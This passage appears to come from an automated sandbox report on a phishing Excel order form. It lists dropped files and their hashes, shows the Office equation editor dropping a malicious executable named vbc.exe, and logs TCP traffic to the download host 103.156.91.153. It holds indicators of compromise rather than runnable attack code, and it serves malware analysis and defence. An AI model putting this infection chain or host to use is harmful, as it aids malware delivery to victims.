Preview:	T....-.......H....H.e.7..trc......i..R3xa.-T..<.Z%..@.../`C.}...i.DnqO.....>n.......%C{..S.~........._.X...Nm..R.Kh.....^l.][....].....i..8.V..=......<.DZ2.il..\|..N..z.....bZ..6...j...,Z_..s...........Z...Mv.......X....w..(.d.........Q=#..........-..x....L.D........O...rc.....&.i..R3.a.-T..<.Z%..@.X../. .s.1.E4w...Qy.m.8..+.C..a.k.....;.Q..j...xL`...=...Kh.....].l...+.\|ikh.. .C...0Q..{.>\|.B..\|..$.w.~{.......TaJ....#............Z_..s...?.0f...P/..Mv....Y..X...w..(.d.........=4....j.:....-..Y..\.L.D.....C....Jrc......i..R3xa.-T..<.Z%..@.X../. .s.1.E4w...Qy.m.8..+.C..a.k.....;.Q..j...xL`...=...Kh.....].l...+.\|ikh.. .C...0Q..{.>\|.B..\|..$.w.~{.......z..... U...........,Z_..s...?.0f....P...Mv....Y..X...w..(.d.........=4....j.:....-..Y..\.L.D.....C....Jrc......i..R3xa.-T..<.Z%..@.X../. .s.1.E4w...Qy.m.8..+.C..a.k.....;.Q..j...xL`...=...Kh.....].l...+.\|ikh.. .C.*..0Q..{.>\|.B..\|..$.w.~{.......z..... U...........,Z_..s...?.0f....P...Mv....Y..X...

C:\Users\user\AppData\Local\Temp\~DF05A0E9538DA984DE.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	CDFV2 Encrypted
Category:	dropped
Size (bytes):	95744
Entropy (8bit):	7.924269341639024
Encrypted:	false
SSDEEP:	1536:ZXCgcfyN02EkOn1m8GFY9MgSlAzLVLQPxr3g1SBKhD9Z26u:ZXSi02EkYHGOMPlUCPxLbopZ
MD5:	981661FB35D158853F012F21AADD7B92
SHA1:	2CE93CBF7651C472A598B8756F5301275D95E27F
SHA-256:	3084B6D063C6EC61503E90E6F2C61830EC915593FED9DDC719F67BC1EC24B49A
SHA-512:	E676218BBDC01687242E9E7695F838CD33E84E57E4E844ADBD307421315A3E5AC56267704685EF1A4E99C36EA1A6D1368433FEA736AA5E981265A5CF6BCE03B5
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Temp\~DF4F6886DF9AB47DD5.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF5923B3D402615EB4.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF91A8639994D1ECD1.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$BON DE COMMANDE POUR CHENOUFI AEK.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	263783
Entropy (8bit):	7.9127214183326275
Encrypted:	false
SSDEEP:	3072:LODZGPEounb6dFqeTHg1WG3Tpf8o7j8kRSLCXD35Zq66TvNJsd19vQ1/A3wCEGj7:LOtIO6RsBTpfD7lRVq6uJM194uLiC87i
MD5:	5AF1C7DD89A535DEE51C3E28B4A74F8D
SHA1:	A4BEACE30EF4B975E247AFBAF837E757A5372F7E
SHA-256:	039EF59E7502A98D0B9A6A7E7818444F6DBD699A4CDB10A8DBA031222CFDDE6F
SHA-512:	28C4CAC036B93D8943D42613DC8C703A66D291393760524C22E0FCD76E7B67CE73E40704C29321E42765364638F0EE3C11AF52922700570BA47AB661B846A7F7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....Oa.................h....:.....F6............@...........................;...........@...........................................;.P............................................................................................................text....g.......h.................. ..`.rdata...............l..............@..@.data.....9.........................@....ndata........:..........................rsrc...P.....;.....................@..@................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	CDFV2 Encrypted
Entropy (8bit):	7.924269341639024
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	BON DE COMMANDE POUR CHENOUFI AEK.xlsx
File size:	95744
MD5:	981661fb35d158853f012f21aadd7b92
SHA1:	2ce93cbf7651c472a598b8756f5301275d95e27f
SHA256:	3084b6d063c6ec61503e90e6f2c61830ec915593fed9ddc719f67bc1ec24b49a
SHA512:	e676218bbdc01687242e9e7695f838cd33e84e57e4e844adbd307421315a3e5ac56267704685ef1a4e99c36ea1a6d1368433fea736aa5e981265a5cf6bce03b5
SSDEEP:	1536:ZXCgcfyN02EkOn1m8GFY9MgSlAzLVLQPxr3g1SBKhD9Z26u:ZXSi02EkYHGOMPlUCPxLbopZ
TLSH:	4793014833DE4E98E5A30379DDA4DCA7ABC46D2A9E3321D3358131ADF2B05109EA547F
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 13, 2022 17:07:41.349982977 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:41.565598011 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:41.565769911 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:41.567938089 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:41.784928083 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:41.784980059 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:41.785007954 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:41.785031080 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:41.785044909 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:41.785075903 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:41.785079956 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.000262022 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000288963 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000305891 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000319004 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000335932 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000353098 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000370979 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000386953 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.000448942 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.000498056 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.215287924 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215338945 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215358973 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215373993 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215385914 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215403080 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215420008 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215435982 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215451956 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215468884 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215485096 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215501070 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215517044 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215533972 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215549946 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215558052 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.215567112 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.215593100 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.215598106 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.215600967 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.215604067 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.219461918 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430604935 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430644035 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430661917 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430680990 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430690050 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430697918 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430716991 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430726051 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430730104 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430736065 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430746078 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430753946 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430757046 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430771112 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430774927 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430788994 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430792093 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430807114 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430826902 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430844069 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430849075 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430862904 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430865049 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430881023 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430885077 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430898905 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430902004 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430917978 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430918932 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430934906 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430939913 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430953979 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430955887 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430972099 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430974960 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.430989981 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.430998087 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431008101 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431016922 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431026936 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431045055 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431055069 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431060076 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431062937 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431078911 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431081057 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431082964 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431099892 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431107044 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431118011 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431123018 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431133986 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.431138992 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431154966 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.431169033 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.435108900 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.645956993 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.645997047 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646015882 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646034956 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646050930 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646066904 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646084070 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646102905 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646120071 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646136999 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646137953 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646155119 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646163940 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646166086 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646173000 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646181107 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646199942 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646199942 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646217108 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646220922 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646235943 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646235943 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646251917 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646255016 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646269083 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646270037 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646284103 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646286011 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646302938 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646303892 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646317959 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646322012 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646337032 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646338940 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646352053 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646354914 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646367073 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646372080 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646385908 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646389008 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646401882 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646405935 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646418095 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646421909 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646435976 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646439075 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646456957 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.646456957 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646471024 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.646486998 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.649616957 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650238037 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650263071 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650280952 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650296926 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650315046 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650332928 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650336981 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650347948 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650352955 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650366068 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650368929 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650382042 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650389910 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650399923 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650418043 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650434017 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650449991 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650470018 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650485992 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650502920 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650518894 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650536060 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650552034 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650568008 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.650660992 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650676966 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650679111 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650681019 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650682926 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650685072 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650686979 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650688887 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650690079 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650691986 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650693893 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.650695086 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.654114008 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.862386942 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.862466097 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.862489939 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.862515926 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.862540007 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.862564087 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.862590075 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.862615108 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.862654924 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.862694025 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864530087 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864564896 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864583969 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864607096 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864633083 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864653111 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864671946 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864675999 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864700079 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864701033 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864703894 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864720106 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864727020 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864737988 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864747047 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864758015 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864768028 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864783049 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864784956 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864805937 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864809036 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864830017 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864831924 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864845991 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864855051 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864877939 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864881992 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864902020 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864903927 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864926100 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864926100 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864938974 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864950895 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.864964962 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.864978075 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.865000963 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.865011930 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.865690947 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869189978 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869223118 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869240999 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869254112 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869271994 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869288921 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869302034 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869319916 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869327068 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869334936 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869352102 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869357109 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869366884 CEST	80	49171	103.156.91.153	192.168.2.22
May 13, 2022 17:07:42.869373083 CEST	49171	80	192.168.2.22	103.156.91.153
May 13, 2022 17:07:42.869389057 CEST	80	49171	103.156.91.153	192.168.2.22
